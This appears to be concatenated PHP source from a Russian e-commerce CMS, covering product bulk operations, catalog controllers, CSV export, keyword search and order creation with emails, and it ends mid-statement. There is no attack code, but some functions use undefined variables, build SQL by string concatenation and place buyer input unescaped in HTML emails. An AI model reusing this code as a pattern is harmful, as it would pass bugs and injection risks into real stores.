/** * Выполняет операцию над отмеченными товарами в админке. * @return boolean */ public function operationProduct() { $productModel = new Models_Product(); $operation = $_POST['operation']; if (empty($_POST['products_id'])) { $this->messageError = 'Необходимо отметить товары!'; return false; } if ($operation == 'delete') { foreach ($_POST['products_id'] as $productId) { $productModel->deleteProduct($productId); } } elseif (strpos($operation, 'activity') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $productModel->updateProduct(array('id' => $product, 'activity' => substr($operation, -1, 1))); } } elseif (strpos($operation, 'recommend') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $productModel->updateProduct(array('id' => $product, 'recommend' => substr($operation, -1, 1))); } } elseif (strpos($operation, 'new') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $productModel->updateProduct(array('id' => $product, 'new' => substr($operation, -1, 1))); } } elseif (strpos($operation, 'clone') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $productModel->cloneProduct($product); } } elseif (strpos($operation, 'delete') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $productModel->deleteProduct($product); } } elseif (strpos($operation, 'changecur') === 0 && !empty($_POST['products_id'])) { foreach ($_POST['products_id'] as $product) { $part = explode('_', $operation); $iso = str_replace($part[0] . '_', '', $operation); $productModel->convertToIso($iso, $_POST['products_id']); $this->data['clearfilter'] = true; //$result = $model->updateOrder(array('id' => $orderId, 'status_id' => substr($operation, -1, 1))); } } elseif (strpos($operation, 'getcsv') === 0 && !empty($_POST['products_id'])) { $catalogModel = new Models_Catalog(); $filename = $catalogModel->exportToCsv($_POST['products_id']); $this->data['filecsv'] = $filename; $this->messageSucces = 'Товары импортированы успешно в файл ' . $filename; } elseif (strpos($operation, 'getyml') === 0 && !empty($_POST['products_id'])) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $ymlLib = new YML(); $filename = $ymlLib->exportToYml($_POST['products_id']); $this->data['fileyml'] = $filename; $this->messageSucces = 'Товары импортированы успешно в файл ' . $filename; } else { $this->messageError = 'Отсутствует необходимое PHP расширение: xmlwriter'; } } return true; }
function __construct() { $settings = MG::get('settings'); // Если нажата кнопка купить. $_REQUEST['category_id'] = URL::getQueryParametr('category_id'); if (!empty($_REQUEST['inCartProductId'])) { $cart = new Models_Cart(); $property = $cart->createProperty($_POST); $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property); SmalCart::setCartData(); MG::redirect('/cart'); } $countСatalogProduct = $settings['countСatalogProduct']; // Показать первую страницу выбранного раздела. $page = 1; // Запрашиваемая страница. if (isset($_REQUEST['p'])) { $page = $_REQUEST['p']; } $model = new Models_Catalog(); // Получаем список вложенных категорий, для вывода всех продуктов, на страницах текущей категории. $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']); // В конец списка, добавляем корневую текущую категорию. $model->categoryId[] = $_REQUEST['category_id']; // Передаем номер требуемой страницы, и количество выводимых объектов. $countСatalogProduct = 100; $actionButton = MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView'; $dataGroupProducts = Storage::get(md5('dataGroupProductsIndexConroller')); $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $randomProdBlock = MG::getSetting('randomProdBlock') == "true" ? true : false; if ($dataGroupProducts == null) { // Формируем список товаров со старой ценой. $sort = $randomProdBlock ? "RAND()" : "sort"; $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' (p.old_price>0 || pv.old_price>0) and p.activity=1 ORDER BY ' . $sort . ' ASC'); $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend=1 ORDER BY ' . $sort . ' ASC'); $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new=1 ORDER BY ' . $sort . ' ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; //$item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); if ($printCompareButton != 'true') { $item['actionCompare'] = ''; } if ($actionButton == 'actionBuy' && $item['count'] == 0) { $item['actionBuy'] = $item['actionView']; } } $dataGroupProducts['recommendProducts'] = $recommendProducts; $dataGroupProducts['newProducts'] = $newProducts; $dataGroupProducts['saleProducts'] = $saleProducts; Storage::save(md5('dataGroupProductsIndexConroller'), $dataGroupProducts); } $recommendProducts = $dataGroupProducts['recommendProducts']; $newProducts = $dataGroupProducts['newProducts']; $saleProducts = $dataGroupProducts['saleProducts']; $html = MG::get('pages')->getPageByUrl('index'); if (!empty($html)) { $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); } else { $html['html_content'] = ''; } $this->data = array('newProducts' => !empty($newProducts['catalogItems']) ? $newProducts['catalogItems'] : array(), 'recommendProducts' => !empty($recommendProducts['catalogItems']) ? $recommendProducts['catalogItems'] : array(), 'saleProducts' => !empty($saleProducts['catalogItems']) ? $saleProducts['catalogItems'] : array(), 'titeCategory' => $html['meta_title'], 'cat_desc' => $html['html_content'], 'meta_title' => $html['meta_title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'currency' => $settings['currency'], 'actionButton' => $actionButton); }
/** * Выгружает содержание всего каталога в CSV файл. * $listProductId выгрузка выбранных товаров * @return array */ public function exportToCsv($listProductId = array()) { header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream;"); header("Content-Type: application/download"); header("Content-Disposition: attachment;filename=data.csv"); header("Content-Transfer-Encoding: binary "); $csvText = ''; $csvText .= '"Категория";"URL категории";"Товар";"Вариант";"Описание";"Цена";"URL";"Изображение";"Артикул";"Количество";"Активность";"Заголовок [SEO]";"Ключевые слова [SEO]";"Описание [SEO]";"Старая цена";"Рекомендуемый";"Новый";"Сортировка";"Вес";"Связанные артикулы";"Смежные категории";"Ссылка на товар";"Валюта";"Свойства";' . "\n"; $import = new Import(); $product = new Models_Product(); $catalog = new Models_Catalog(); Storage::$noCache = true; $page = 1; // получаем максимальное количество заказов, если выгрузка всего ассортимента if (empty($listProductId)) { $maxCountPage = ceil($product->getProductsCount() / 500); } else { $maxCountPage = ceil(count($listProductId) / 500); } $catalog->categoryId = MG::get('category')->getCategoryList(0); $catalog->categoryId[] = 0; $listId = implode(',', $listProductId); for ($page = 1; $page <= $maxCountPage; $page++) { URL::setQueryParametr("page", $page); if (empty($listProductId)) { $catalog->getList(500, true); } else { $catalog->getListByUserFilter(500, ' p.id IN (' . DB::quote($listId, 1) . ')'); } foreach ($catalog->products as $row) { $parent = $row['category_url']; // Подставляем всесто URL названия разделов. $resultPath = ''; $resultPathUrl = ''; while ($parent) { $url = URL::parsePageUrl($parent); $parent = URL::parseParentUrl($parent); $parent = $parent != '/' ? $parent : ''; $alreadyParentCat = MG::get('category')->getCategoryByUrl($url, $parent); $resultPath = $alreadyParentCat['title'] . '/' . $resultPath; $resultPathUrl = $alreadyParentCat['url'] . '/' . $resultPathUrl; } $resultPath = trim($resultPath, '/'); $resultPathUrl = trim($resultPathUrl, '/'); $variants = $product->getVariants($row['id']); if (!empty($variants)) { foreach ($variants as $key => $variant) { foreach ($variant as $k => $v) { if ($k != 'sort') { $row[$k] = $v; } } $row['category_url'] = $resultPath; $row['category_full_url'] = $resultPathUrl; $csvText .= $this->addToCsvLine($row, 1); } } else { $row['category_url'] = $resultPath; $row['category_full_url'] = $resultPathUrl; $csvText .= $this->addToCsvLine($row); } } } $csvText = substr($csvText, 0, -2); // удаляем последний символ '\n' $csvText = mb_convert_encoding($csvText, "WINDOWS-1251", "UTF-8"); if (empty($listProductId)) { echo $csvText; exit; } else { $date = date('m_d_Y_h_i_s'); file_put_contents('data_csv_' . $date . '.csv', $csvText); $msg = 'data_csv_' . $date . '.csv'; } return $msg; }
/** * Получает информацию о каждом товаре. * @param array $viewCategoryId - массив id категорий. */ public function getInfoProducts($viewCategoryId) { if (empty($viewCategoryId)) { return false; } $listProductsArray = array(); $countProduct = 0; foreach ($viewCategoryId as $k => $id) { $listProductsIdTemp = $_SESSION['compareList'][$id]; $countProduct += count($_SESSION['compareList'][$id]); $listProductsArray = array_merge($listProductsArray, $listProductsIdTemp); } $listProductsId = implode(',', $listProductsArray); $catalogModel = new Models_Catalog(); $productModel = new Models_Product(); if (!empty($listProductsId)) { $arrProduct = $catalogModel->getListByUserFilter($countProduct, ' p.id IN (' . DB::quote($listProductsId, true) . ')'); } $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $currencyShopIso = MG::getSetting('currencyShopIso'); foreach ($arrProduct['catalogItems'] as &$product) { $blockVariants = $productModel->getBlockVariants($product['id']); $blockedProp = $productModel->noPrintProperty(); $propertyFormData = $productModel->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'printStrProp' => 'false', 'printCompareButton' => 'false', 'currency_iso' => $product['currency_iso'])); if ($product['count'] < 0) { $product['count'] = "много"; } $product['price'] += $propertyFormData['marginPrice']; $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso; $product['currency'] = MG::getSetting('currency'); $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']]; $product['old_price'] = $product['old_price'] ? MG::priceCourse($product['old_price']) : 0; $product['price'] = MG::priceCourse($product['price_course'], true, true); $product['propertyForm'] = $propertyFormData['html']; $product['propertyNodummy'] = $propertyFormData['propertyNodummy']; $product['stringsProperties'] = $propertyFormData['stringsProperties']; $product['image_url'] = explode('|', $product['image_url']); $product['image_url'] = $product['image_url'][0]; } return array('catalogItems' => $arrProduct['catalogItems']); }
/** * Получает список продуктов при вводе в поле поиска. */ public function getSearchData() { $keyword = MG::defenderXss_decode(URL::getQueryParametr('text')); if (!empty($keyword)) { $keyword = $this->convertLang($keyword); $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true, false, 'groupBy'); foreach ($items['catalogItems'] as $key => $value) { $items['catalogItems'][$key]['image_url'] = mgImageProductPath($value["image_url"], $value['id'], 'small'); } $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
/** * Возвращает список найденных продуктов соответствующих поисковой фразе. * @param string $keyword - поисковая фраза. * @param string $allRows - получить сразу все записи. * @param string $onlyActive - учитывать только активные продукты. * @param boolean $adminPanel - запрос из публичной части или админки. * @return array */ public function getListProductByKeyWord($keyword, $allRows = false, $onlyActive = false, $adminPanel = false, $sort = NULL, $isStock = NULL, $count = NULL) { $settings = MG::get('settings'); if (!$count) { $count = $settings['countСatalogProduct']; } $result = array(); // Поиск по точному соответствию. $model = new Models_Catalog(); if (!isset($_GET["page"])) { $result = $model->getListByUserFilter(1, " p.title =" . DB::quote(trim($keyword)) . " OR p.code =" . DB::quote(trim($keyword))); } if (count($result['catalogItems']) !== 0) { foreach ($result['catalogItems'] as &$item) { $imagesUrl = explode("|", $item["image_url"]); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency'] = MG::getSetting('currency'); } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); } // Пример $keyword = " 'красный', зеленый " // Убираем начальные пробелы и конечные. $keyword = trim($keyword); //$keyword = "'красный', зеленый" // Вырезаем спец символы из поисковой фразы. $keyword = preg_replace('/[-`~!#$%^&*()_=+\\\\|\\/\\[\\]{};:"\',<>?]+/', '', $keyword); //$keyword = "красный зеленый" // Замена повторяющихся пробелов на на один. $keyword = preg_replace('/ +/', ' ', $keyword); //$keyword = "красный зеленый" // Обрамляем каждое слово в звездочки, для расширенного поиска. $keyword = str_replace(' ', '* *', $keyword); //$keyword = "красный* *зеленый" // Добавляем по краям звездочки. $keyword = '*' . $keyword . '*'; //$keyword = "*красный* *зеленый*" if ($sort == 'popular') { $sql = " \n SELECT distinct p.code, v.views, CONCAT(c.parent_url,c.url) AS category_url, \n p.url AS product_url, p.*, pv.product_id as variant_exist\n FROM `" . PREFIX . "product` AS p\n LEFT JOIN `mg_popular-goods_visits` v ON v.id_product = p.id\n LEFT JOIN `" . PREFIX . "category` AS c ON c.id = p.cat_id\n LEFT JOIN `" . PREFIX . "product_variant` AS pv ON p.id = pv.product_id"; } else { $sql = " \n SELECT distinct p.code, CONCAT(c.parent_url,c.url) AS category_url, \n p.url AS product_url, p.*, pv.product_id as variant_exist\n FROM `" . PREFIX . "product` AS p\n LEFT JOIN `" . PREFIX . "category` AS c ON c.id = p.cat_id\n LEFT JOIN `" . PREFIX . "product_variant` AS pv ON p.id = pv.product_id"; } if (!$adminPanel) { $sql .= " LEFT JOIN (\n SELECT pv.product_id, SUM( pv.count ) AS varcount\n FROM `" . PREFIX . "product_variant` AS pv\n GROUP BY pv.product_id\n ) AS temp ON p.id = temp.product_id"; } $product = new Models_Product(); $fulltext = ""; // Проверяем наличие записей в вариантах если их нет, то не включаем // в поиск полнотекстовые индесты таблицы вариантов. if ($product->getVariants($id)) { $fulltext = ", pv.`code`, pv.`title_variant`"; } $sql .= " WHERE MATCH (\n p.`title` , p.`description` , p.`code` , p.`meta_title` , p.`meta_keywords` , p.`meta_desc` " . $fulltext . "\n )\n AGAINST (\n '" . $keyword . "'\n IN BOOLEAN\n MODE\n ) "; if ($onlyActive) { $sql .= ' AND p.`activity` = 1'; } if ($isStock) { $sql .= " AND (temp.`varcount` > 0 OR temp.`varcount` < 0 OR p.count>0 OR p.count<0)"; } if ($sort == 'desc') { $sql .= ' ORDER BY price DESC'; } else { if ($sort == 'asc') { $sql .= ' ORDER BY price ASC'; } else { if ($sort == 'popular') { $sql .= ' ORDER BY v.views DESC'; } } } $page = URL::get("page"); $navigator = new Navigator($sql, $page, $count, $linkCount = 6, $allRows); // Определяем класс. $this->pages = $navigator->getRowsSql(); $idsProduct = array(); if (!empty($this->pages)) { foreach ($this->pages as $key => $product) { $idsProduct[$product['id']] = $key; // Назначаем для продукта позьзовательские характеристики по умолчанию, заданные категорией. $this->pages[$key]['thisUserFields'] = MG::get('category')->getUserPropertyCategoryById($product['cat_id']); $this->pages[$key]['currency'] = $settings['currency']; $this->pages[$key]['actionBuy'] = '<a href="' . SITE . '/catalog?inCartProductId=' . $product["id"] . '" class="addToCart product-buy" data-item-id="' . $product["id"] . '">В корзину</a>'; $this->pages[$key]['actionView'] = '<a href="' . SITE . '/' . (isset($product["category_url"]) ? $product["category_url"] : 'catalog') . '/' . $product["product_url"] . '" class="product-info">Подробнее</a>'; $imagesUrl = explode("|", $this->pages[$key]['image_url']); $this->pages[$key]["image_url"] = ""; if (!empty($imagesUrl[0])) { $this->pages[$key]["image_url"] = $imagesUrl[0]; } } } if ($findPart = trim(DB::quote(implode(',', array_keys($idsProduct))), "'")) { // Формируем список id продуктов к которым нужно найти пользовательские характеристики. $where = ' IN (' . $findPart . ')'; } else { $findPart = ' IN (0)'; } $res = DB::query("\n SELECT pup.property_id, pup.value, pup.product_id, pup.type_view, prop.*\n FROM `" . PREFIX . "product_user_property` as pup\n LEFT JOIN `" . PREFIX . "property` as prop\n ON pup.property_id = prop.id\n WHERE pup.`product_id` " . $where); while ($userFields = DB::fetchAssoc($res)) { if (!empty($this->pages)) { $this->pages[$idsProduct[$userFields['product_id']]]['thisUserFields'][$userFields['property_id']] = $userFields; } } $this->pager = $navigator->getPager(); $result = array('catalogItems' => $this->pages, 'pager' => $this->pager, 'numRows' => $navigator->getNumRowsSql()); if (count($result['catalogItems']) == 0) { //примитивный поиск по названию. 100% соответствие $sql = " \n SELECT id\n FROM `" . PREFIX . "product` AS p\n WHERE title = " . DB::quote($keyword) . " OR code = " . DB::quote($keyword); if ($row = DB::fetchAssoc($sql)) { $product = new Models_Product(); } } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
/** * Сохраняет заказ в базу сайта. * Добавляет в массив корзины третий параметр 'цена товара', для сохранения в заказ. * Это нужно для тогою чтобы в последствии вывести детальную информацию о заказе. * Если оставить только id то информация может оказаться неверной, так как цены меняютcя. * @return int $id номер заказа. */ public function addOrder($adminOrder = false) { $itemPosition = new Models_Product(); $cart = new Models_Cart(); $catalog = new Models_Catalog(); $categoryArray = $catalog->getCategoryArray(); $this->summ = 0; // Массив запросов на обновление количества товаров. $updateCountProd = array(); // Добавляем в массив корзины параметр 'цена товара'. if ($adminOrder) { $this->email = $adminOrder['user_email']; $this->phone = $adminOrder['phone']; $this->address = $adminOrder['address']; $this->delivery = $adminOrder['delivery_id']; $this->delivery_cost = $adminOrder['delivery_cost']; $this->payment = $adminOrder['payment_id']; $this->fio = $adminOrder['user_email']; $formatedDate = date('Y-m-d H:i:s'); // Форматированная дата ГГГГ-ММ-ДД ЧЧ:ММ:СС. foreach ($adminOrder['order_content'] as $item) { $product = $itemPosition->getProduct($item['id']); $_SESSION['couponCode'] = $item['coupon']; $productUrl = $product['category_url'] . '/' . $product['url']; $itemCount = $item['count']; if (!empty($product)) { $product['price'] = $item['price']; $product['price'] = $cart->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $discount = 100 - $product['price'] * 100 / $item['price']; $productPositions[] = array('id' => $product['id'], 'name' => $item['title'], 'url' => $productUrl, 'code' => $item['code'], 'price' => $product['price'], 'count' => $itemCount, 'property' => $item['property'], 'coupon' => $_SESSION['couponCode'], 'discount' => $discount, 'info' => $this->info); $this->summ += $product['price'] * $itemCount; $product['count'] = $product['count'] - $itemCount >= 0 ? $product['count'] - $itemCount : 0; // По ходу формируем массив запросов на обновление количества товаров. $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($product['count']) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; } } } elseif (!empty($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $product = $itemPosition->getProduct($item['id']); // Дописываем к массиву продуктов данные о выбранных характеристиках из корзины покупок, чтобы приплюсовать к сумме заказа. if ($item['id'] == $product['id']) { $product['property_html'] = $item['propertyReal']; } $variant = null; if (!empty($item['variantId']) && $item['id'] == $product['id']) { $variants = $itemPosition->getVariants($product['id']); $variant = $variants[$item['variantId']]; $product['price'] = $variant['price']; $product['price'] = $cart->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $product['code'] = $variant['code']; $product['count'] = $variant['count']; $product['title'] .= " " . $variant['title_variant']; //По ходу формируем массив запросов на обновление количества товаров $resCount = $variant['code']; $resCount = $variant['count'] - $item['count'] >= 0 ? $variant['count'] - $item['count'] : 0; $updateCountProd[] = "UPDATE `" . PREFIX . "product_variant` SET `count`= " . DB::quote($resCount) . " WHERE `id`=" . DB::quote($item['variantId']) . " AND `count`>0"; } $productUrl = $product['category_url'] . '/' . $product['url']; // Eсли куки не актуальны исключает попадание несуществующего продукта в заказ if (!empty($product)) { $product['price'] = SmalCart::plusPropertyMargin($product['price'], $product['property_html']); $tempPrice = $product['price']; $product['price'] = $cart->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $discount = 100 - $product['price'] * 100 / $tempPrice; $productPositions[] = array('id' => $product['id'], 'name' => $product['title'], 'url' => $productUrl, 'code' => $product['code'], 'price' => $product['price'], 'count' => $item['count'], 'property' => $item['property'], 'coupon' => $_SESSION['couponCode'], 'discount' => $discount, 'info' => $this->info); $this->summ += $product['price'] * $item['count']; if (!$resCount) { $resCount = $product['count'] - $item['count'] >= 0 ? $product['count'] - $item['count'] : 0; } //По ходу формируем массив запросов на обновление количества товаров $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($resCount) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; $resCount = null; } } } // Сериализует данные в строку для записи в бд. $orderContent = addslashes(serialize($productPositions)); // Сериализует данные в строку для записи в бд информации об юридическом лице. $yurInfo = ''; if (!empty($adminOrder['yur_info'])) { $yurInfo = addslashes(serialize($adminOrder['yur_info'])); } if (!empty($_POST['yur_info'])) { $yurInfo = addslashes(serialize($_POST['yur_info'])); } // Создает новую модель корзины, чтобы узнать сумму заказа. $cart = new Models_Cart(); // Генерируем уникальный хэш для подтверждения заказа. $hash = $this->_getHash($this->email); // Формируем массив параметров для SQL запроса. $array = array('user_email' => $this->email, 'summ' => $this->summ, 'order_content' => $orderContent, 'phone' => $this->phone, 'address' => $this->address, 'delivery_id' => $this->delivery, 'delivery_cost' => $this->delivery_cost, 'payment_id' => $this->payment, 'paided' => '0', 'status_id' => '0', 'confirmation' => $hash, 'yur_info' => $yurInfo, 'name_buyer' => $this->fio); // Если заказ оформляется через админку. if ($adminOrder) { $array['comment'] = $adminOrder['comment']; $array['status_id'] = $adminOrder['status_id']; $array['add_date'] = $formatedDate; DB::buildQuery("INSERT INTO `" . PREFIX . "order` SET ", $array); } else { // Отдает на обработку родительской функции buildQuery. DB::buildQuery("INSERT INTO `" . PREFIX . "order` SET add_date = now(), ", $array); } // Заказ номер id добавлен в базу. $id = null; $id = DB::insertId(); unset($_SESSION['couponCode']); // Ссылка для подтверждения заказа $link = 'ссылке <a href="' . SITE . '/order?sec=' . $hash . '&id=' . $id . '" target="blank">' . SITE . '/order?sec=' . $hash . '&id=' . $id . '</a>'; $table = ""; // Формирование тела письма. if ($id) { // Уменьшаем количество купленных товаров if (!empty($updateCountProd)) { foreach ($updateCountProd as $sql) { DB::query($sql); } } // Если заказ создался, то уменьшаем количество товаров на складе. $settings = MG::get('settings'); $delivery = $this->getDeliveryMethod(false, $this->delivery); $sitename = $settings['sitename']; $currency = MG::getSetting('currency'); $subj = 'Оформлена заявка №' . $id . ' на сайте ' . $sitename; $subj = str_replace('№', '#', $subj); if ($this->fio) { $table .= '<br/><b>Покупатель:</b> ' . $this->fio; } $table .= '<br/><b>E-mail:</b> ' . $this->email; $table .= '<br/><b>Тел:</b> ' . $this->phone; if ($this->address) { $table .= '<br/><b>Адрес:</b> ' . $this->address; } $table .= '<br/><b>Доставка:</b> ' . $delivery['description']; $paymentArray = $this->getPaymentMethod($this->payment); $table .= '<br/><b>Оплата:</b> ' . $paymentArray['name']; $table .= ' <style> table {border: 4px double black;border-collapse: collapse;} th {text-align: left;background: #ccc;padding: 5px;border: 1px solid black;} td {padding: 5px;border: 1px solid black;} </style>'; $table .= '<br><br><table>'; if (!empty($_SESSION['cart']) || $adminOrder) { $table .= ' <tr> <th>Наименование товара</th> <th>Артикул</th> <th>Стоимость</th> <th>Количество</th> </tr>'; foreach ($productPositions as $product) { $product['property'] = htmlspecialchars_decode(str_replace('&', '&', $product['property'])); $table .= ' <tr> <td>' . $product['name'] . $product['property'] . '</td> <td>' . $product['code'] . '</td> <td>' . $product['price'] . ' ' . $currency . '</td> <td>' . $product['count'] . ' шт.</td> </tr>'; } } $table .= '</table>'; $table .= '<br><b>Итого:</b> ' . $this->summ . ' ' . $currency; $table .= '<br/><b>Стоимость доставки:</b> ' . $this->delivery_cost . " " . $currency; $totalSumm = $this->delivery_cost + $this->summ; $table .= '<br/><b>Всего к оплате:</b> <span style="color:red">' . $totalSumm . ' ' . $currency . '</span>'; $msg = MG::getSetting('orderMessage') . '<br><u>Обязательно подтвердите</u> свой заказ, перейдя по ' . $link . '.<br>' . $table; $msg = str_replace('#ORDER#', $id, $msg); $msg = str_replace('#SITE#', $sitename, $msg); $msg = str_replace('№', '#', $msg); $mails = explode(',', MG::getSetting('adminEmail')); // Отправка заявки админам. // Дополнительная информация для админов. $msgAdmin .= '<br/><br/><b>Покупатель перешел к нам на сайт из: </b><br/>' . $_SESSION['lastvisit'] . '<br/><br/><b>Покупатель впервые перешел к нам на сайт из: </b><br/>' . $_SESSION['firstvisit']; foreach ($mails as $mail) { if (preg_match('/^[-._a-z0-9]+@(?:[a-z0-9][-a-z0-9]+\\.)+[a-z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $this->email)); Mailer::sendMimeMail(array('nameFrom' => $this->fio, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => $subj, 'body' => $msg . $msgAdmin, 'html' => true)); } } // Добавление в тело письма ссылки для задания пароля. $msg .= '<br>Подтвердите свой заказ, перейдя по ' . $link; // Отправка заявки пользователю. Mailer::sendMimeMail(array('nameFrom' => $sitename, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $this->fio, 'emailTo' => $this->email, 'subject' => $subj, 'body' => $msg, 'html' => true)); // Если заказ успешно записан, то очищает корзину. if (!$adminOrder) { $cart->clearCart(); } } // Возвращаем номер созданого заказа. $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $id, $args); }
<?php $lang = MG::get('lang'); $arrayCategories = MG::get('category')->getHierarchyCategory(0); $listCategory['null'] = $lang['NO_SELECT']; $lc = MG::get('category')->getTitleCategory($arrayCategories, URL::get('category_id'), true); if (!empty($lc)) { foreach ($lc as $key => $value) { $listCategory[$key] = $value; } } $this->listCategory = $listCategory; $model = new Models_Catalog(); if (empty($_REQUEST['cat_id']) || $_REQUEST['cat_id'] == "null") { $_REQUEST['cat_id'] = 0; } $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['cat_id']); // В конец списка, добавляем корневую текущую категорию. $model->categoryId[] = $_REQUEST['cat_id']; if (!$model->getCurrentCategory()) { $model->categoryId = array(0); } $_REQUEST['category_ids'] = $model->categoryId; if (empty($_REQUEST['category_ids'])) { $_REQUEST['category_ids'] = array(0); } $arrfilter = $model->filterPublic(false, false, false); $this->filter = $arrfilter['filterBarHtml']; if (isset($_REQUEST['applyFilter'])) { $userFilter = $arrfilter['userFilter']; }
public function __construct() { $aUri = URL::getSections(); $settings = MG::get('settings'); // Если нажата кнопка купить. $_REQUEST['category_id'] = URL::getQueryParametr('category_id'); if (!empty($_REQUEST['inCartProductId'])) { $cart = new Models_Cart(); $property = $cart->createProperty($_POST); $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property); SmalCart::setCartData(); MG::redirect('/cart'); } $countСatalogProduct = $settings['countСatalogProduct']; // Показать первую страницу выбранного раздела. $page = 1; // Запрашиваемая страница. if (isset($_REQUEST['p'])) { $page = $_REQUEST['p']; } $sortType = 'desc'; $countGoods = $settings['countСatalogProduct']; $isStock = 0; // Обработка GET параметров if (isset($_GET['count'])) { switch ($_GET['count']) { case 8: $countGoods = 8; break; case 12: $countGoods = 12; break; case 16: $countGoods = 16; break; default: $countGoods = 8; break; } } if (isset($_GET['sort'])) { switch ($_GET['sort']) { case 'priceDesc': $sortType = 'desc'; break; case 'priceAsc': $sortType = 'asc'; break; case 'comments': $sortType = 'comments'; break; case 'popular': $sortType = 'popular'; break; default: $sortType = 'desc'; break; } } if (isset($_GET['stock'])) { if ($_GET['stock'] == 1) { $isStock = 1; } else { $isStock = 0; } } $model = new Models_Catalog(); $isMainCat = TRUE; $subCat = MG::get('category')->getCategoryList($_REQUEST['category_id']); if (empty($subCat)) { $isMainCat = FALSE; } // Если происходит поиск по ключевым словам. $keyword = URL::getQueryParametr('search'); if (!empty($keyword)) { $items = $model->getListProductByKeyWord($keyword, false, false, false, $sortType, $isStock, $countGoods); $searchData = array('keyword' => $keyword, 'count' => $items['numRows']); } else { if ($isMainCat) { $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']); $model->categoryId[] = $_REQUEST['category_id']; $subCatList = $model->getChildCat(); if (!empty($subCatList)) { $productList = $model->getMainCatProduct($subCatList); $catList = $model->getMainCatInfo($subCatList); $i = 0; foreach ($catList as $cat) { foreach ($productList as $prd) { if ($prd['cat_id'] == $cat['id']) { $imagesUrl = explode("|", $prd['image_url']); if (!empty($imagesUrl[0])) { $prd['image_url'] = $imagesUrl[0]; } $catList[$i]['items'][] = $prd; } } $i++; } } } else { // Получаем список вложенных категорий, для вывода всех продуктов, на страницах текущей категории. $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']); // В конец списка, добавляем корневую текущую категорию. $model->categoryId[] = $_REQUEST['category_id']; $items = $model->getList($countGoods, false, true, $sortType, $isStock); } } $settings = MG::get('settings'); if (!$isMainCat) { foreach ($items['catalogItems'] as $item) { $productIds[] = $item['id']; } $product = new Models_Product(); $blocksVariants = $product->getBlocksVariantsToCatalog($productIds); foreach ($items['catalogItems'] as $k => $item) { $items['catalogItems'][$k]["recommend"] = 0; $items['catalogItems'][$k]["new"] = 0; $imagesUrl = explode("|", $item['image_url']); $items['catalogItems'][$k]["image_url"] = ""; if (!empty($imagesUrl[0])) { $items['catalogItems'][$k]["image_url"] = $imagesUrl[0]; } $items['catalogItems'][$k]['title'] = MG::modalEditor('catalog', $item['title'], 'edit', $item["id"]); // Формируем варианты товара. if ($item['variant_exist']) { // Легкая форма без характеристик. $liteFormData = $product->createPropertyForm($param = array('id' => $item['id'], 'maxCount' => $item['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => true, 'titleBtn' => "В корзину", 'blockVariants' => $blocksVariants[$item['id']])); $items['catalogItems'][$k]['liteFormData'] = $liteFormData['html']; } } } $categoryDesc = MG::get('category')->getDesctiption($_REQUEST['category_id']); if 